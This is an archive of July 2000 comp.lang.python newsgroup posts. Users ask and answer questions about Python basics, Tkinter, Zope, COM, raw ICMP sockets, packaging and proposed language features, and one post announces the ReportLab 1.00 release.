From: blinocac1 at home.com (David L. Heald Jr.)
Date: Tue, 11 Jul 2000 22:42:07 GMT
Subject: path
Message-ID: <3pNa5.17986$6y5.14385230@news2.rdc2.tx.home.com>

This may seem ike a dumb question, but how do I change the path in
pythonwin?




From dgoodger at bigfoot.com  Sat Jul 29 00:10:03 2000
From: dgoodger at bigfoot.com (David Goodger)
Date: Sat, 29 Jul 2000 00:10:03 -0400
Subject: Newbie DATA STRUCTURES Question.
In-Reply-To: <398248BC.32DE3CC@nycap.rr.com>
References: <398248BC.32DE3CC@nycap.rr.com>
Message-ID: <B5A7D155.6C62%dgoodger@bigfoot.com>

on 2000-07-28 22:57, gbp (gpepice1 at nycap.rr.com) wrote:
> I need to write a script to read a large text file into a structured
> format.

    file = open('filename', 'r')  # read-only, text mode
    lines = file.readlines()

This gives you a list of strings, one per line from the file. Now, what
would you like to do with the text?

For an alternate method, look at the "fileinput" module (standard library).
It provides an interface kind of like Perl I/O loops.

As for pointers, you must unlearn what you have learned. :> In Python,
everything is an object, variables are just names that are bound to objects,
and pointers are implicit, so you don't have to reference or dereference
anything. Want a list of lists? A list of dictionaries (hashes/associative
arrays) containing lists of complex numbers and strings? No problem. Give us
the details of where you're stuck and we'll help.

-- 
David Goodger    dgoodger at bigfoot.com    Open-source projects:
 - The Go Tools Project: http://gotools.sourceforge.net
 (more to come!)



From be at et.dtu.dk  Fri Jul 28 09:12:29 2000
From: be at et.dtu.dk (Brian Elmegaard)
Date: Fri, 28 Jul 2000 15:12:29 +0200
Subject: import Tkinter
Message-ID: <398186BD.60295828@et.dtu.dk>

Hello,

I am using (trying to learn how to use) tkinter and pmw. It seems that
something different is happening if I use

import Tkinter 

as does in the pmw examples instead of

from Tkinter import *

as done in the tkinter examples. 
What is the difference?

The things I have remarked are that the pmw examples does not run when
the latter is used. They Tkinter to be defined.
When the former is used I have to manually specify CURRENT="current" to
be able to tag a canvas item as current. However this does not seem to
stick to it, or perhaps I m doing something wrong.
Also, with the former I don't seem to have access to tag_names()?

Any help is appreciated,
Brian


From coughlan at gothaminteractive.com  Mon Jul 17 11:22:39 2000
From: coughlan at gothaminteractive.com (coughlan at gothaminteractive.com)
Date: Mon, 17 Jul 2000 15:22:39 GMT
Subject: Zope newbie
Message-ID: <8kv8ba$rq3$1@nnrp1.deja.com>

I've just installed Zope on Linux, and the documentation that comes
with it refers almost exclusively to NT!?  There is very little on Zope
with Apace.

Does anyone know of a URL or forum to get a decent tour of Zope on
Linux?  zope.com is also *very* dissappointing.

It's unclear to me how to even create a hello world program to make
sure it's installed and running.  Any advice, would be appreciated.


Sent via Deja.com http://www.deja.com/
Before you buy.


From m.faassen at vet.uu.nl  Thu Jul 27 08:25:59 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 27 Jul 2000 12:25:59 GMT
Subject: Python is wierd!
References: <LNBBLJKPBEHFEDALKOLCOEMPGLAA.tim_one@email.msn.com> <8lk1c5$fv4$1@nnrp1.deja.com> <Pine.A32.3.90.1000725123438.17707C-100000@elvis.med.Virginia.EDU> <8llqkl$rof$1@nnrp1.deja.com>
Message-ID: <8lp9on$oac$1@newshost.accu.uu.nl>

Jonathan <theebh at yahoo.com> wrote:
[snip]
> IT's just that i never expected its OOP
> constructs can be so 'loose', for e.g. you can even declare a instance
> variable out of the <class> scope(am i right?),

You mean like this?

a = 1
print a

The advantage of being able to do that is that it's a Python program.
Also, please note that functions and classes are 'first class' in 
Python; in effect this creates a module-global variable called 'foo':

def foo():
    pass

and this too:

class foo:
    pass

> or you put static methods OUTSIDE of the class.

They're not static methods. They're called 'functions'; you know,
procedures; venerable very useful construct in programming. :)

> From the postings so far, i began to
> understand the reasons for them; but the nagging feeling is that ppl
> may just 'mix' them too much and create unreadable codes.

Programming in Python, just like any other language, takes self
discipline. If people don't have enough self discipline to avoid global
variables (when the program is significant), then they won't have enough
self-discipline to write any readable code at all. So that's not problem;
those of us who do know how to write readable code won't be corrupted
by such simple freedoms, and those who are have a lot to learn anyway.

[some suggestions about languages]
> Err...i don't think i have the time now:) In fact, i'm trying to learn
> python and Zope at the same time (as fast as possible), as I have an
> upcoming web development project, where i need to assess the
> feasibility of using Zope as a development tool.

I would advise you not to learn Python within the context of the Zope
framework. Try a Python program in isolation (you can always connect
it up to Zope later). Zope, while very powerful, is a complex framework
which will severely muddle up the clarity that is Python. Just look
at the average DTML expression; those are Python expressions, but
Zope's quoting rules and namespace stack and acquisition make them
hellishly complicated to understand.

Regards,

Martijn
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From neelk at brick.cswv.com  Sun Jul 23 10:33:42 2000
From: neelk at brick.cswv.com (Neel Krishnaswami)
Date: 23 Jul 2000 14:33:42 GMT
Subject: New PEP: Attribute Access Handlers
References: <39791F0C.CDC13E79@prescod.net> <39792795.B5B0D18C@roguewave.com> <39792C74.E7E3DB2B@prescod.net> <397933DA.46B072BF@roguewave.com> <8F797551Agmcmhypernetcom@199.171.54.194>
Message-ID: <slrn8nm2dg.an7.neelk@brick.cswv.com>

Gordon McMillan <gmcm at hypernet.com> wrote:
> 
> Of course you don't! Because Paul forgot to tell you that the first
> proposal said that defining one or more of __set/get/del_XXX__
> automatically defines all 3, with default behavior of "you can't do
> that". So a base class defining __get_X__ and a derived class
> defining __set_X__ will have the wrong semantics 50% of the time
> whichever way you choose to handle it.

I'm afraid I still don't understand. If I wanted to use separate
accessors/mutators, what would I do with the current proposal?

An example (using separate accessors) that I'd like to see translated:

class Foo:
   def __init__(self, x):
       self.x = x


class LogWrites(Foo):
   def __set_x__(self, x, val):
       add_to_write_log()
       self.__dict__['x'] = val


class LogReads(Foo):
   def __get_x__(self, x):
       add_to_read_log()
       return self.__dict__['x']

Thanks.


Neel


From nobody at nowhere.nohow.bbs  Sun Jul 16 14:00:03 2000
From: nobody at nowhere.nohow.bbs (nobody at nowhere.nohow.bbs)
Date: 16 Jul 2000 18:00:03 GMT
Subject: Top 10 Language Constructs (Phyton)
Message-ID: <3bQV63$izf@openbazaar.net>

On 16 Jul 2000 17:40:03 GMT, Aahz Maruch <aahz at netcom.com> wrote:

>True enough -- but if I don't visit their site, I'm not product
>for them.

Right.  Once they cross the line where people dislike something
enough that they stop using/watching, then they're loosing out.

>I literally can't remember the last time I bothered visiting
>AltaVista for anything other than a quick test to see if
>they've improved their software, and I also warn other eyeballs
>away from them.

I gave up on altavista over a year ago and use google most of
the time.  Back when altavista was just a demo of how big/fast
a DEC machine could be, it seemed to provide (to me) useful
info. Once it switched over to being an ad-driven
profit-center, it went into the dumpster pretty quickly.

--
Grant Edwards                   grante             Yow!  I'm having a
                                  at               RELIGIOUS EXPERIENCE... and
                               visi.com            I don't take any DRUGS


From jeremy at beopen.com  Tue Jul 11 09:52:16 2000
From: jeremy at beopen.com (Jeremy Hylton)
Date: 11 Jul 2000 09:52:16 EDT
Subject: Is pickle buggy?
References: <396B069A.9EBDD68B@muc.das-werk.de>
Message-ID: <bl66qcg4b5.fsf@bitdiddle.concentric.net>

I don't see how we can help you without seeing the impementation of
class X that you are pickling and unpickling.

Jeremy


From jacobs at darwin.epbi.cwru.edu  Mon Jul 17 22:01:58 2000
From: jacobs at darwin.epbi.cwru.edu (Kevin Jacobs)
Date: 18 Jul 2000 02:01:58 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators for  matrix computation)
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <3973415D.5262CD86@eecis.udel.edu> <39735193.C8A6C311@prescod.net> <slrn8n6m1n.qp.hzhu@rocket.knowledgetrack.com> <8kvocr$5mq$1@eeyore.INS.CWRU.Edu> <8F74C4E37gmcmhypernetcom@199.171.54.155> <slrn8n7b88.2jc.hzhu@rocket.knowledgetrack.com>
Message-ID: <8l0dqm$lji$1@eeyore.INS.CWRU.Edu>

> In a program where there are a lot of computations, you'll get either
> something like a ritual on every line,

> PyAlgebra.evaluate(r'(A .* B)\C', A=A, B=B, C=C)
> PyAlgebra.evaluate(r'(A .* B)\C', A=A, B=B, C=C)
> PyAlgebra.evaluate(r'(A .* B)\C', A=A, B=B, C=C)

What if it could be as simple as:

e(r'(A .* B)\C') # --> PyAlgebra.evaluate(r'(A .* B)\C', globals(), locals())
e(r'(A .* B)\C')
e(r'(A .* B)\C')

where A, B and C are bound to variables in the current namespace
automatically?  Does this not go 95% of the way toward the ideal solution?

> Everybody would rush for the latter.  In the end what's inside the quote
> would be a minilanguage with all the bells and wistles of python.  This
> would be just similar to patching the parser, with lesser results.

I disagree with your conclusion.  Having worked with many algebra and
statistical languages, I know the road you are undertaking.  It doesn't and
can't stop with one extra dot in the grammar.  To do it right, you need the
ability to break more rules that are intrinsic to Python's core.  e.g.,
consider changing the rules for '\' as above.

Another advantage to compromising and implementing a domain specific
mini-language is that it simplifies some very tough design issues that only
come up when working with the full Python grammar.  Some of these syntactic
and semantic issues are very likely irreconcilable.  In the end we could end
up with a any number of splinter languages with inferior support and narrow
audiences.  Lets not forget we are a community of users with very diverse
goals, all trying make our lives easier by building better tools.

-Kevin

-- 
----------->  Kevin Jacobs  <-----------|------->  (216) 778-8211  <--------
S.A.G.E. Project Technical Coordinator  | Department of Epidemiology
  & System Administrator                |   & Biostatistics
Internet E-mail: jacobs at darwin.cwru.edu | Case Western Reserve University
----------------------------------------------------------------------------


From nick at ex-inferis.freeserve.co.uk  Wed Jul 12 16:10:31 2000
From: nick at ex-inferis.freeserve.co.uk (Nicholas Cloy)
Date: Wed, 12 Jul 2000 21:10:31 +0100
Subject: Compiling Python
References: <20000711054522.28720.qmail@web3406.mail.yahoo.com>
Message-ID: <Bj4b5.889$O47.17397@news6-win.server.ntlworld.com>

I downloaded the installer at
http://www.faqts.com/knowledge-base/view.phtml/aid/3111/fid/244/lang/ but
the program executes in a msdos window, is there anyway to compile a python
script into an file ythat will run in a windows 98 gui?

--
_________

     Nick at ex-inferis.freeserve.co.uk
     Icq no 69088298
                _________________________
"Ahmed Ahmed" <tttok_2000 at yahoo.com> wrote in message
news:20000711054522.28720.qmail at web3406.mail.yahoo.com...
> Look here
> http://www.faqts.com/knowledge-base/view.phtml/aid/3111/fid/244/lang/
>
> --- "David L. Heald Jr." <blinocac1 at home.com> wrote:
> > Yeah, the latter. I like Python, but I'm interested
> > in taking my programs
> > with me to other computers that don't have python.
> > "Dennis Lee Bieber" <wlfraed at ix.netcom.com> wrote in
> > message
> > news:9m5lms0bt9fhiir6c2vju9ti4hvvv473kb at 4ax.com...
> > > On Mon, 10 Jul 2000 21:29:09 GMT, "David L. Heald
> > Jr."
> > > <blinocac1 at home.com> declaimed the following in
> > comp.lang.python:
> > >
> > > > Does anyone know if there is a compiler
> > available anywhere for python
> > for
> > > > win32?
> > > >
> > > Pardon?
> > >
> > > A compiler with which to build Python from source,
> > or
> > >
> > > A compiler which builds native executables from
> > Python programs?
> > >
> > >
> > > For the latter, I don't think one exists on any
> > platform --
> > > freeze may be the closest equivalent (as I recall,
> > not having used it,
> > > it embeds Python byte-code into a binary with the
> > Python interpreter).
> > >
> > > For the former... I think folks are working on
> > getting the
> > > downloadable Borland C to compile it, the M$ VC
> > should handle it with no
> > > problems, and gcc probably can manage it.





From richard_chamberlain at ntlworld.com.bbs  Tue Jul 18 02:40:04 2000
From: richard_chamberlain at ntlworld.com.bbs (richard_chamberlain at ntlworld.com.bbs)
Date: 18 Jul 2000 06:40:04 GMT
Subject: grid
Message-ID: <3bReK4$lWE@openbazaar.net>

Yes that looks fine.

You might want to either increase the ipad of the right frame or add a blank
label:

Label(right,text='',bg='orange').grid(row=1,column=0,columnspan=2)

so that your two frames are identically sized.

Try and get the hang of pack though, it's probably the most popular and
powerful of Tk's layout managers. I find that I use pack for 90% of my
layouts. But that maybe just me.

Oh and I think you spelt sweet wrong. </wink>

Richard

Keith Murphy <kpmurphy at my-deja.com> wrote in message
news:8kvome$9ah$1 at nnrp1.deja.com...
> does this look alright?
>
> # embed.py
> from Tkinter import *
>
> root = Tk()
>
> left = Frame(root, bg='red')
> right = Frame(root, bg='orange')
>
> button1 = Button(left, text='hi')
> button2 = Button(right, text='yo')
>
> entry1 = Entry(left)
> entry2 = Entry(right)
>
> label1 = Label(left, text='this is schweet')
>
> left.grid(row=0, column=0, ipadx=10, ipady=10)
> right.grid(row=0, column=1, ipadx=10, ipady=10)
> button1.grid(row=0, column=0)
> button2.grid(row=0, column=0)
> entry1.grid(row=0, column=1)
> entry2.grid(row=0, column=1)
> label1.grid(row=1, column=0, columnspan=2)
>
>
> mainloop()
> # end embed.py
>
>
> thanks,
> -->keith
>
> In article <8kvkvt$68h$1 at nnrp1.deja.com>,
>   Keith Murphy <kpmurphy at my-deja.com> wrote:
> > can you embed grids?  ...what i'd like to do is grid within several
> > frames, and then grid the frames together.  sort of like html
> tables...
> > i hate pack.
> >
> > -->keith
> >
> > Sent via Deja.com http://www.deja.com/
> > Before you buy.
> >
>
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.


From dalke at acm.org  Fri Jul 21 23:55:04 2000
From: dalke at acm.org (Andrew Dalke)
Date: Fri, 21 Jul 2000 21:55:04 -0600
Subject: 5.2.1 fails 5 tests: SGI Indigo-2 IRIX 6.2 gcc -O2
References: <3978D151.8208C03B@ids.net>
Message-ID: <8lb5nt$uj1$1@nntp9.atl.mindspring.net>

Eben Oldmixon wrote:
>I particularly like the non-overflowing of maxint+1, although
>'+-1' (!) is a close second.


I recall Jeff Chang mentioned that Python on IRIX when compiled
with gcc had sys.maxint give a value of -1.  The solution was either
to upgrade (but upgrade the OS? gcc?) or a compiler flag.  Given
the poor history coverage in DejaNews^H^H^H^H, I can't find his
messages on the subject.

                    Andrew
                    dalke at acm.org





From robinjim at earthlink.net  Sat Jul  1 11:43:15 2000
From: robinjim at earthlink.net (robin and jim)
Date: Sat, 01 Jul 2000 15:43:15 GMT
Subject: Missing OmPyUnit module in OmPyUnit
References: <0hk75.10271$HD6.284269@iad-read.news.verio.net>
Message-ID: <nko75.21107$NP5.564910@newsread2.prod.itd.earthlink.net>

Hello Doug,

To get OmPyUnit to work on my system, I had to do the following:

- add a file called __init__.py to the OmPyUnit folder (directory)
      From the Packages section of the Python (1.5) tutorial ...
      "
      The "__init__.py" files are required to make Python treat the
directories as containing packages; this is done to prevent directories with
a common name, such as "string", from unintentionally hiding valid modules
that occur later on the module search path. In the simplest case,
"__init__.py" can just be an empty file, but it can also execute
initialization code for the package or set the __all__ variable, described
later.
      "
- download and install a package called Pmw and add it to my Python path
      This package apparently provides higher-level widgets for Tk.
OmPyUnit imports Pmw.

I have also noted, that at least on my Win 98 system, I can't edit the test
suite file (not the module being tested) while the testing framework is
running because it has a lock on the test file.

I learned all of the above by solving each problem, as it was encountered,
while trying to use OmPyUnit.



Doug Fort <dougfort at downright.com> wrote in message
news:0hk75.10271$HD6.284269 at iad-read.news.verio.net...
> We've been using Steve Purcell's PyUnit from SourceForge.  It's limited,
but
> reliable.  I'm attempting to investigate OmPyUnit as an alternative.  It
> seems to offer more functionality, plus I have great respect for
> ObjectMentor ands Robert Martin.
>
> However, the package I downloaded seems to be missing a module:
OmPyUnit.
> What's up with this?  It doesn't fill me with confidence.
>
> --
> Doug Fort
> Meat Manager
> Downright Software
> http://www.dougfort.com/~dougfort
>
>
>
>




From gee308 at mediaone.net  Tue Jul 18 03:29:32 2000
From: gee308 at mediaone.net (Toy)
Date: Tue, 18 Jul 2000 07:29:32 GMT
Subject: newb question
References: <3973EE1B.15B0B32E@mediaone.net> <8l0tfe$3th$1@nnrp1.deja.com>
Message-ID: <39740CC1.69B949B3@mediaone.net>

Do you need to use classes?  I'm a newb and I'm just writing a
"read-down"script with one or 2 functions.  What do you mean by raw_input
and read() and write()?  Thanks for th help.
Jason Toy


lordkaos at my-deja.com wrote:

> In article <3973EE1B.15B0B32E at mediaone.net>,
>   Toy <gee308 at mediaone.net> wrote:
> > what is a simple way I can save variables that people enter in from
> > 'raw_input' ?  That way, someone enters the variables they want, then
> > when the script is booted up everytime the machine starts, it will
> grab
> > the variables from somewhere.  Thanks.
> > Jason Toy
> > toyboy at toy.eyep.net
> >
> >
> The tutorial at <a href="http://www.python.org/current/tut">Python's
> website</a> tells a simple and easy way to do exactly what you're
> saying. If you can get the variables into a class (read section 9, in
> particular 9.3) then it is easy to read and write a big set of vars all
> together in one operation by using the 'pickle' command (read about
> this and easy file creation/opening in section 7.2). I just read over
> this and it should answer your question. Come to think of it, raw_input
> stores your input as a string, so you can just read() and write() in
> one swipe to do the same thing (This would be much easier).
>
> --Jared
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.



From robin at jessikat.fsnet.co.uk  Thu Jul 20 11:07:13 2000
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Thu, 20 Jul 2000 16:07:13 +0100
Subject: ReportLab 1.00 Released
Message-ID: <lc+CU5AhWxd5EwgC@jessikat.fsnet.co.uk>

After much transatlantic worrying it has been decided that ReportLab,
http://www.reportlab.com) should release version 1.00 of its
increasingly popular PDF toolkit.

This release features improved documentation, a number of minor bug
fixes and some C coded extension accelerators. The PLATYPUS page layout
API whilst not fully fixed will no longer be subject to the upheavals
of the last few months.

The toolkit is available at either of

          http://www.reportlab.com/reportlab.tgz (.zip)
          ftp://ftp.reportab.com/reportlab.tgz (.zip)

For windows users the python15.dll compatible extension .pyds are
available at the download page.
-- 
Robin Becker


From robin at illusionsexeculink.com  Fri Jul 28 12:41:55 2000
From: robin at illusionsexeculink.com (robin at illusionsexeculink.com)
Date: Fri, 28 Jul 2000 12:41:55 -0400
Subject: The State of Python
References: <cpog3jjztl.fsf@cj20424-a.reston1.va.home.com> <LNBBLJKPBEHFEDALKOLCEEGAGMAA.tim_one@email.msn.com> <8lq4v9$3fs$1@nnrp1.deja.com>
Message-ID: <dkd3os0e417cstsmsp9i6ls20h5dqqvb59@4ax.com>

ObiJohn <obijohn at my-deja.com> wrote:

>I *am* a lawyer and I think a distinction needs to be made (maybe
>obviously) between a "license" and a "copyright".

[snip]

good informative post!

>Is there a simple answer? Not when the lawyers are involed! I would be
>greatly surprised if they were satisfied in 2 days.
>
>-- John Stoneham, Beaumont, Texas
>Life is too short: Program with Python!

Combine these thoughts:

a) Life is too short.
b) There is no simple answer when lawyers are involved.
c) Program with Python to make life simpler.

This leads me to believe there should be a Python lawyer module that
we can instantiate to create licenses.

Anyone up to the task?

-----
robin                          robin at illusionsexeculink.com
media artist /                 remove illusions to reply
information architect          www.execulink.com/~robin/

Unfortunately for Philip Glass fans, is grammatically acceptable. 


From tim.hochberg at ieee.org  Thu Jul 20 12:52:12 2000
From: tim.hochberg at ieee.org (Tim Hochberg)
Date: Thu, 20 Jul 2000 16:52:12 GMT
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk> <m2n1jcooct.fsf@spiff.home.com> <39772612.CE635178@fft.be>
Message-ID: <m2bszsokwh.fsf@spiff.home.com>

Gregory Lielens <gregory.lielens at fft.be> writes:

> Tim Hochberg wrote:
[...]
> I like the parethese a lot! except for ? which is probably out of
> question, 
> this is the prettier way to do it, but (alwas a but :-( )
> 
> - the solve operator indeed...The only thing i can come with is the ugly
> (%)
>   or the pretty but out-of-question (\)

My favorite right now is |. So one would have:

A[*]B    # matouter
A(*)B    # matinner
A(/)B    # matdiv
A(|)B    # matsolve
A(^)B	 # matpower

Alternatively, one could use:

A(*)B   # matouter
A(.)B   # matinner (AKA dot, get it?)

That would cut down on the available symbols, but might make parsing
easier? It might also be easier to distinguish between the two
products.

I've left out other potential outer operators (outer sum, etc) and
alternate inner products (Lie, Kroneker, ?) pending finding a
constituency for them.

[snip grammar issues and how to choose inner product axes]

-tim




From max at alcyone.com  Mon Jul 31 18:37:41 2000
From: max at alcyone.com (Erik Max Francis)
Date: Mon, 31 Jul 2000 15:37:41 -0700
Subject: random.shuffle?
References: <slrn8ob14m.bh4.ahopkins@ahopkins.dynacare.com> <oqittmuxgj.fsf@titan.progiciels-bpi.ca> <3985C75F.7030AB6C@alcyone.com> <sobibup69ft174@corp.supernews.com>
Message-ID: <3985FFB5.7B7DB872@alcyone.com>

Jake Speed wrote:

> It's not selecting from the deck touched so far; it's
> selecting from the untouched deck -- it's counting backwards.
> This is the correct way to do it.

Indeed.  I managed to rather egregiously remember the Knuth algorithm
exactly wrong.  How embarassing.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, US / 37 20 N 121 53 W / ICQ16063900 / &tSftDotIotE
/  \ Love is like war:  easy to begin but very hard to stop.
\__/ H.L. Mencken
    7 sisters productions / http://www.7sisters.com/
 Web design for the future.


From dsavitsk at e-coli.net  Thu Jul 27 03:51:03 2000
From: dsavitsk at e-coli.net (d. savitsky)
Date: Thu, 27 Jul 2000 07:51:03 GMT
Subject: com makepy problems
Message-ID: <HRRf5.83451$dF.2988037@news1.rdc1.il.home.com>

please accept my apologies if this has been answered somewhere.  i was
unable to find much that i understood.
i am having trouble with the com makepy utility. on 3 different computers
(win2k, NT 4, win98) when i first installed python and pythonwin the utility
worked.  now, when i select it from the menu i get the error (from the NT 4
machine)

----------------------
Failed to execute command:
from win32com.client import makepy;makepy.main()
Traceback (innermost last):
  File "C:\Program Files\Python\Pythonwin\pywin\framework\toolmenu.py", line
103, in HandleToolCommand
    exec "%s\n" % pyCmd
  File "<string>", line 1, in ?
  File "C:\Program Files\Python\win32com\client\makepy.py", line 305, in
main
    rc = selecttlb.SelectTlb()
  File "C:\Program Files\Python\win32com\client\selecttlb.py", line 107, in
SelectTlb
    items = EnumTlbs(excludeFlags)
  File "C:\Program Files\Python\win32com\client\selecttlb.py", line 68, in
EnumTlbs
    key2 = win32api.RegOpenKey(win32con.HKEY_CLASSES_ROOT, "Typelib\\%s" %
(iid))
api_error: (5, 'RegOpenKeyEx', 'Access is denied.')
---------------------

i am logged in as the admin.  pythonwin is 132.  ie is 5.5. nothing else
seems to be having any problems (including using objects set up earlier with
makepy).
i have tried the obvious of reinstalling/upgrading (from 129 in 2 cases).
upgrading solved this once on a different computer, but not on any of these.
thanks for any suggestions.
doug




From darrell at dorb.com  Sun Jul  2 02:15:30 2000
From: darrell at dorb.com (Darrell Gallion)
Date: Sat, 1 Jul 2000 23:15:30 -0700
Subject: urllib and linksys router
Message-ID: <038701bfe3ec$ece104a0$6401a8c0@home>

Tried to use urllib to access my linksys router, which requires a password.
After much pain, it turns out the router needs to see the request as one
string.
Maybe it's a timing thing since urllib sends each line separately.

This works.

def direct():
    s = socket(AF_INET, SOCK_STREAM)
    s.connect("192.168.1.1",80)

    msgs=[
    'GET /Status.htm HTTP/1.0\015\012',
    'Authorization: Basic xxxxxxxx==\015\012',
    '\015\012',
    ]
    s.send(string.join(msgs,''))
    print s.recv(1024)
    print s.recv(1024)



--Darrell Gallion




From jeremy at beopen.com  Fri Jul 14 15:06:43 2000
From: jeremy at beopen.com (Jeremy Hylton)
Date: 14 Jul 2000 15:06:43 EDT
Subject: raw socket exapmle?
References: <woFb5.1075$6E.147665@ptah.visi.com> <rFGb5.1091$6E.150413@ptah.visi.com> <RqIb5.1107$6E.155450@ptah.visi.com>
Message-ID: <blr98wedg6.fsf@bitdiddle.concentric.net>

ge at nowhere.none (Grant Edwards) writes:

> In article <rFGb5.1091$6E.150413 at ptah.visi.com>, Grant Edwards wrote:
> 
> >After looking at the source code for the socket module in 1.52
> >and 1.6a2, it doesn't look like either RAW or PACKET sockets
> >are supported.
> >

AF_INET / SOCK_RAW has been supported for a long time.  You can find
examples of their use in some fairly old code I wrote to do ping and
traceroute: http://the-tech.mit.edu/~jeremy/python/

Some highlights are:

s = socket.socket(socket.AF_INET, socket.SOCK_RAW,
                  socket.IPPROTO_ICMP)
dest = (socket.gethostbyname(addr), 0)
s.sendto(packet, self.dest)

Note that the raw socket is not bound to any address!  You used sendto
rather than send to specify the destination.

Jeremy


From grey at despair.rpglink.com  Sat Jul 29 22:21:54 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Sun, 30 Jul 2000 02:21:54 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <OLgg5.2637$6E.681698@ptah.visi.com> <slrn8o397m.3ok.grey@teleute.rpglink.com> <8lse9j01oti@news2.newsguy.com> <slrn8o3jap.49c.grey@teleute.rpglink.com> <slrn8o42r6.dti.wtanksle@dolphin.openprojects.net> <slrn8o449h.49c.grey@teleute.rpglink.com> <slrn8o4l9e.md1.wtanksle@dolphin.openprojects.net> <3982F04D.74FCF41C@webamused.com> <slrn8o6kna.f91.grey@teleute.rpglink.com> <39834B9F.C6877761@webamused.com>
Message-ID: <slrn8o745t.fjt.grey@teleute.rpglink.com>

On Sat, 29 Jul 2000 22:18:31 GMT, Joshua Macy <amused at webamused.com> wrote:
>  So it's not the term itself you find offensive, but the way it's
>used?  It sounds to me like what you're objecting to is the mere fact
>that some people dislike the behavior that Larry Wall calls "automagic",
>not that they use the same term that he does to describe that behavior.

    What, is this forum a place where context means nothing and everything,
including natural language, has to be typed to death.  Let me give you a basic
example.  Nigger.  Offensive or not?  Hmm, tell me, is it?

    Marcelus Wallus - "You my nigger?"

    Whoops, guess it isn't in some contexts, now is it?  What I object to is
their stating that it is a bad thing when it is not, it is just different, and
that was a term that I was unfamiliar with that they were clearly using in the
negative based on context.

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From loewis at informatik.hu-berlin.de  Sun Jul  9 06:16:12 2000
From: loewis at informatik.hu-berlin.de (Martin von Loewis)
Date: 09 Jul 2000 12:16:12 +0200
Subject: Doc question
References: <Ekl95.37485$NP5.1181303@newsread2.prod.itd.earthlink.net>
Message-ID: <p6qk8ev4nir.fsf@informatik.hu-berlin.de>

"Arint?" <shouldbe at message.com> writes:

> So, I don't need to do a Py_XDECREF on this unless I need to keep it, and in
> that case I need to do a Incref first.  Correct.

Correct. The caller still holds a reference to the entire tuple, so
the object can't go away.

Regards,
Martin


From matt at mondoinfo.com  Sat Jul 29 15:44:53 2000
From: matt at mondoinfo.com (Matthew Dixon Cowles)
Date: Sat, 29 Jul 2000 14:44:53 -0500
Subject: The 'widget' demo with python/Tkinter
References: <3983992A.75270197@galactica.it>
Message-ID: <290720001444536008%matt@mondoinfo.com>

In article <3983992A.75270197 at galactica.it>, Francesco Bochicchio
<fbochicchio at galactica.it> wrote:

[snip]
> I'm looking forward to the close three-weeks vacation period to improve
> my knowledge of Python/Tkinter. So I thought of duplicating the classic
> 'Widget' demo,which ships with TK and which I also found in a Perl/Tk
> version.

Dear Francesco,
I'm not familiar with the particular demo that you mention but I'm sure
that more Tkinter demo code and documentation would always be useful.
If you haven't seen it already, you might find Fredrik Lundh's
introduction to Tkinter worth a look. It's at:

http://www.pythonware.com/library.htm

I certainly find it useful. As far as I'm aware, it's the current state
of the art in Tkinter documentation.

Regards,
Matt


From aahz at netcom.com.bbs  Mon Jul 17 19:10:03 2000
From: aahz at netcom.com.bbs (aahz at netcom.com.bbs)
Date: 17 Jul 2000 23:10:03 GMT
Subject: OT: RedHat 6.1 (was Re: newbie unimpressed...)
Message-ID: <3bRSXU$jm2@openbazaar.net>

In article <unKc5.1423$6E.266474 at ptah.visi.com>,
Grant Edwards <ge at nowhere.none> wrote:
>In article <8kvqqb$8e5$1 at nntp9.atl.mindspring.net>, Aahz Maruch wrote:
>>In article <8kvp81$9q1$1 at nnrp1.deja.com>,  <sharkey3 at my-deja.com> wrote:
>>>
>>>(I'm using python 1.5.1 on Redhat 5.2)
>>
>>I strongly recommend upgrading to Python 1.5.2.  The documentation is
>>much better, for starters.
>
>FWIW, RH 5.2 is getting a bit old also.  I couldn't recommand
>6.[01], but 6.2 seems to be decent.

What's wrong with 6.1?  (We upgraded a few months back, mainly to get
1.5.2, and I'd like to know if there's a serious reason we should move
to 6.2.)
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

Q:  In a lesbian relationship, who decides who gets to be the man?
A:  It's two women.  There is no man.  That's the point.


From kmp at atrium.fsnet.co.uk  Mon Jul  3 15:44:41 2000
From: kmp at atrium.fsnet.co.uk (Kenneth Payne)
Date: Mon, 03 Jul 2000 19:44:41 GMT
Subject: Problem Installing PyQt-012
References: <20000702.20095100@linux.local> <slrn8lvbm1.o1d.newsbunny@noether.freeserve.co.uk>
Message-ID: <20000703.19444100@linux.local>

Hi Martin -

Well, I didn't run ldconfig, but I had set LD_LIBRARY_PATH. I didn't 
specify qtdir to the sip configure, but it seemed to find it (it was 
the X system it couldn't find).

Anyway, I've tried both now - and I still have the same error.

My commands were :

in the sip directory -

./configure --with-qt-dir=/usr/lib/qt --x-includes=/usr/X11R6/include 
--x-libraries=/usr/X11R6/lib
make
make install

in the PyQT directory -


ldconfig
./configure --with-qt-dir=/usr/lib/qt --x-includes=/usr/X11R6/include 
--x-libraries=/usr/X11R6/lib
make
make install

This looks suspicious in the sip configure output:

.
.
checking for working aclocal... missing
checking for working autoconf... missing
checking for working automake... missing
checking for working autoheader... missing
checking for working makeinfo... found
.
.
.
checking for x... no
.
.

Should I be looking to install aclocal, autoconf and automake? Would 
it be easier to install from rpms?


By the way, I was on the noether site recently and was suprised (and 
pleased) to see my name on the Compuserve kppp script. Thanks. Of 
course, I'm no longer with compuserve (is anyone?). I've joined you on 
Freeserve.

Best wishes

